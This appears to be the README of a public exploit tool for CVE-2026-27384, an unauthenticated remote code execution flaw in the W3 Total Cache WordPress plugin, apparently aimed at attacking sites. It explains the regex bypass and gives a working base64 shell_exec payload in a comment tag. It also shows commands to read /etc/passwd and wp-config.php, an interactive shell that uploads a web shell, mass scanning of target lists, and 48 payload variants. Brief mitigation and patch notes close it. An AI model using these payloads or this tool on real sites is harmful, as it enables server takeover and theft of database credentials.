
CVE-2026-27384(mfunc/eval()インジェクションを介したW3 Total Cacheの認証不要RCE)向けの自動スキャナーおよびエクスプロイト。自動検出、48種類のペイロードバリエーション、インタラクティブシェル、バッチスキャンを備えています。
プラグイン: W3 Total Cache プラグインスラッグ:
w3-total-cacheCVE ID: CVE-2026-27384 CVSS スコア: 9.8 (クリティカル) CVSS ベクター:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H脆弱性タイプ: 認証不要の任意コード実行 (eval()によるコードインジェクション) 影響を受けるバージョン: <= 2.9.1 修正済みバージョン: 2.9.2 公開日: 2026年2月24日 研究者: CODE WHITE GmbH
W3 Total Cache プラグインの Dynamic Fragment Caching 機能 (mfunc/mclude システム) は、
HTML コメント内に埋め込まれた PHP コードを eval() で実行します。
この機能を保護するための W3TC_DYNAMIC_SECURITY トークンは、複数のコード上の欠陥が組み合わさることでバイパス可能です。
結果: 認証を必要とせず、WordPress のコメントを送信するだけでサーバー上で任意の PHP コードを実行できます。
W3TC の Dynamic Fragment Caching 機能は、開発者がページ HTML に 特殊なコメントタグを介して PHP コードを埋め込むことを許可します:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC はこれらのタグをキャッシュからページを提供するときに処理します:
埋め込まれた PHP は eval() で実行され、その出力がコメントブロックの場所に書き込まれます。
preg_quote() の欠如 (PgCache_ContentGrabber.php)// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY が直接正規表現に追加されている
// preg_quote() なし → トークンが正規表現パターンとして扱われる
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
トークンが '.' の場合、正規表現は <!--\s*mfunc\s*.(.*)--> となり →
任意の1文字がトークンの代わりとなります。
\s* と \s+ の不一致| 関数 | パターン | 動作 |
|---|---|---|
_parse_dynamic() — 実行する | mfunc\s*TOKEN | 0個の空白を許可 ✅ |
攻撃者のペイロード: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
mfuncとトークンの間に空白なし
strip関数: \s+ → 一致しない → ペイロードが残る
実行正規表現: \s* → 一致する → eval() が実行される
_has_dynamic())// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ defined() チェックのみ — empty() またはメタ文字チェックなし
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (正規表現メタ文字 — 任意の文字)
│
▼
攻撃者がコメントを送信:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
パターン: mfunc\s+[^\s]+ → \s+ が必要、空白なし → 回避 ✅
│
▼
コメントがデータベースに保存され、ページがキャッシュされる
│
▼
2回目のHTTPリクエスト → W3TCがキャッシュから提供
_has_dynamic() → mfunc\s*. → 'A' が一致 → true を返す
│
▼
_parse_dynamic() → preg_replace_callback
パターン: mfunc\s*. → 'A' が一致
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ 認証不要のRCE ✓
認証なしで、Webサーバーの権限でサーバー上で任意のPHPコードを実行可能:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| モード | 説明 |
|---|---|
auto | サイトをスキャン → コメントページを発見 → エクスプロイト (デフォルト) |
exploit | 直接エクスプロイト — post URL を使用 |
shell | インタラクティブシェル |
python w3tc_rce.py https://hedef.com
スキャナーは以下を実行:
# id komutu
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# /etc/passwd oku
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# wp-config.php oku
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# Post ID manuel
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
シェルが開かれると、自動的に whoami、hostname、pwd、uname -a が実行されます:
=================================================================
CVE-2026-27384 — W3TC mfunc Interactive Shell
URL : https://hedef.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.hedef.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
コマンド: exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC kurulu!
Sürüm : 2.9.1
Cache : True
[!] Sürüm 2.9.1 ZAFİYETLİ (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v
標準タグ (stripによって捕捉される):
<!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
↑
空白あり → \s+ が一致 → stripが削除
バイパスタグ (stripを回避し、eval() が実行される):
<!-- mfuncA php_code --><!-- /mfuncA -->
↑
空白なし → \s+ が一致しない → stripをバイパス
\s* が一致 → eval() が実行
PHPコードはHTMLエンコードの問題を防ぐためにbase64エンコードされます:
# コマンド: id
b64_cmd = base64.b64encode(b"id").decode() # → "aWQ="
php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));
payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"
1. W3TC の検出
└─ readme.txt、ヘッダー、ボディ、プラグインディレクトリ
2. コメントシステムの検出
└─ HTMLフォーム、REST API、投稿ID
3. ペイロード注入 (48バリアント)
├─ REST API: POST /wp-json/wp/v2/comments
└─ HTMLフォーム: POST /wp-comments-post.php
4. キャッシュのトリガー
├─ 1回目のリクエスト → キャッシュミス → ページレンダリング → キャッシュされる
└─ 2回目のリクエスト → キャッシュヒット → _parse_dynamic() → eval()
5. 出力の抽出
└─ uid=、whoami、/path/、passwd、wp-config...
=================================================================
CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================
[*] ターゲット: https://hedef.com
Crawling: [████████████████████] 100% (50/50) | 8.3/s
[+] コメントページ: https://hedef.com/?p=1 (post_id=1)
[1] W3TC の検出...
[+] W3TC を発見! バージョン: 2.9.1
[2] コメントシステムの検出...
[+] Post ID: 1 | Form: True | REST: True
[3] ペイロード注入 (id)...
[i] 48 ペイロードバリアント準備完了
[4] キャッシュをトリガー中...
[★] RCE 成功!
=========================================================
URL : https://hedef.com/?p=1
Payload : b64_shell_exec (bypass='A')
コマンド : id
出力 : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================
[+] 結果を保存 → w3tc_results.txt
[?] シェルを開きますか? (y/n):
Scanning: [████████████████████] 100% (100/100) | 4.2/s
[★] 7 脆弱性発見!
[+] 結果を保存 → w3tc_results.txt
cve-2026-27384/
├── w3tc_rce.py # メインスキャナー
├── requirements.txt # 依存関係
└── README.md # このファイル
| 対策 | 説明 |
|---|---|
| プラグインの更新 | W3 Total Cache 2.9.2+ にアップグレード |
| mfunc の無効化 | W3TC_DYNAMIC_SECURITY が定義されていない場合、機能は動作しない |
| 強力なトークン | トークンは英数字のみを含める ([a-zA-Z0-9_]+) |
安全なトークンの例 (wp-config.php):
// ❌ 危険 — 正規表現メタ文字
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');
// ✅ 安全 — 英数字
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');
2.9.2 のパッチ (_parse_dynamic()):
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' ); // ✅ preg_quote 追加
$buffer = preg_replace_callback(
'~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis', // ✅ \s+ (最低1空白)
...
);
このツールおよびPoCは、許可されたシステム上での教育目的および ペネトレーションテストの範囲内でのみ使用するために作成されています。 許可のないシステムでの使用は、トルコ刑法第243-245条および 国際的なサイバー犯罪法に基づき犯罪行為となります。 開発者は、ツールの悪用から生じるいかなる法的責任も負いません。
MIT License — 教育および研究目的のみ。
| フィールド | 値 |
|---|
| CVE ID | CVE-2026-27384 |
| CVSS | 9.8 Critical |
| タイプ | Code Injection → RCE (CWE-94) |
| 影響を受けるバージョン | <= 2.9.1 |
| 修正済みバージョン | 2.9.2 |
| 認証 | 不要 |
| ユーザー操作 | 不要 |
| 前提条件 | W3TC_DYNAMIC_SECURITY が正規表現メタ文字を含むこと |
strip_dynamic_fragment_tags_from_string() — 削除する | mfunc\s+TOKEN | 最低1個の空白が必要 ❌ |
detect | W3TCの検出のみ |
| パラメータ | 短縮 | 説明 | デフォルト |
|---|
url | — | 単一ターゲットURL | — |
--list | -l | ターゲットリストファイル | — |
--mode | — | 動作モード | auto |
--cmd | — | 実行するコマンド | id |
--post-url | — | コメントがあるページのURL | — |
--post-id | — | WordPressの投稿ID | — |
--max-pages | — | スパイダーの最大ページ数 | 50 |
--threads | -t | スレッド数 | 10 |
--output | -o | 出力ファイル | w3tc_results.txt |
--proxy | — | プロキシURL | — |
--no-color | — | 色なし出力 | False |
--verbose | -v | 詳細出力 | False |
| グループ | 関数 | バイパス文字 | エンコーディング |
|---|
| b64_shell_exec | shell_exec | A, B, X, 1 | Base64 |
| b64_system | system | A, B, X, 1 | Base64 |
| b64_passthru | passthru | A, B, X, 1 | Base64 |
| b64_exec | exec | A, B, X, 1 | Base64 |
| b64_popen | popen | A, B, X, 1 | Base64 |
| raw_* | 全関数 | A, B, X, 1 | 生 |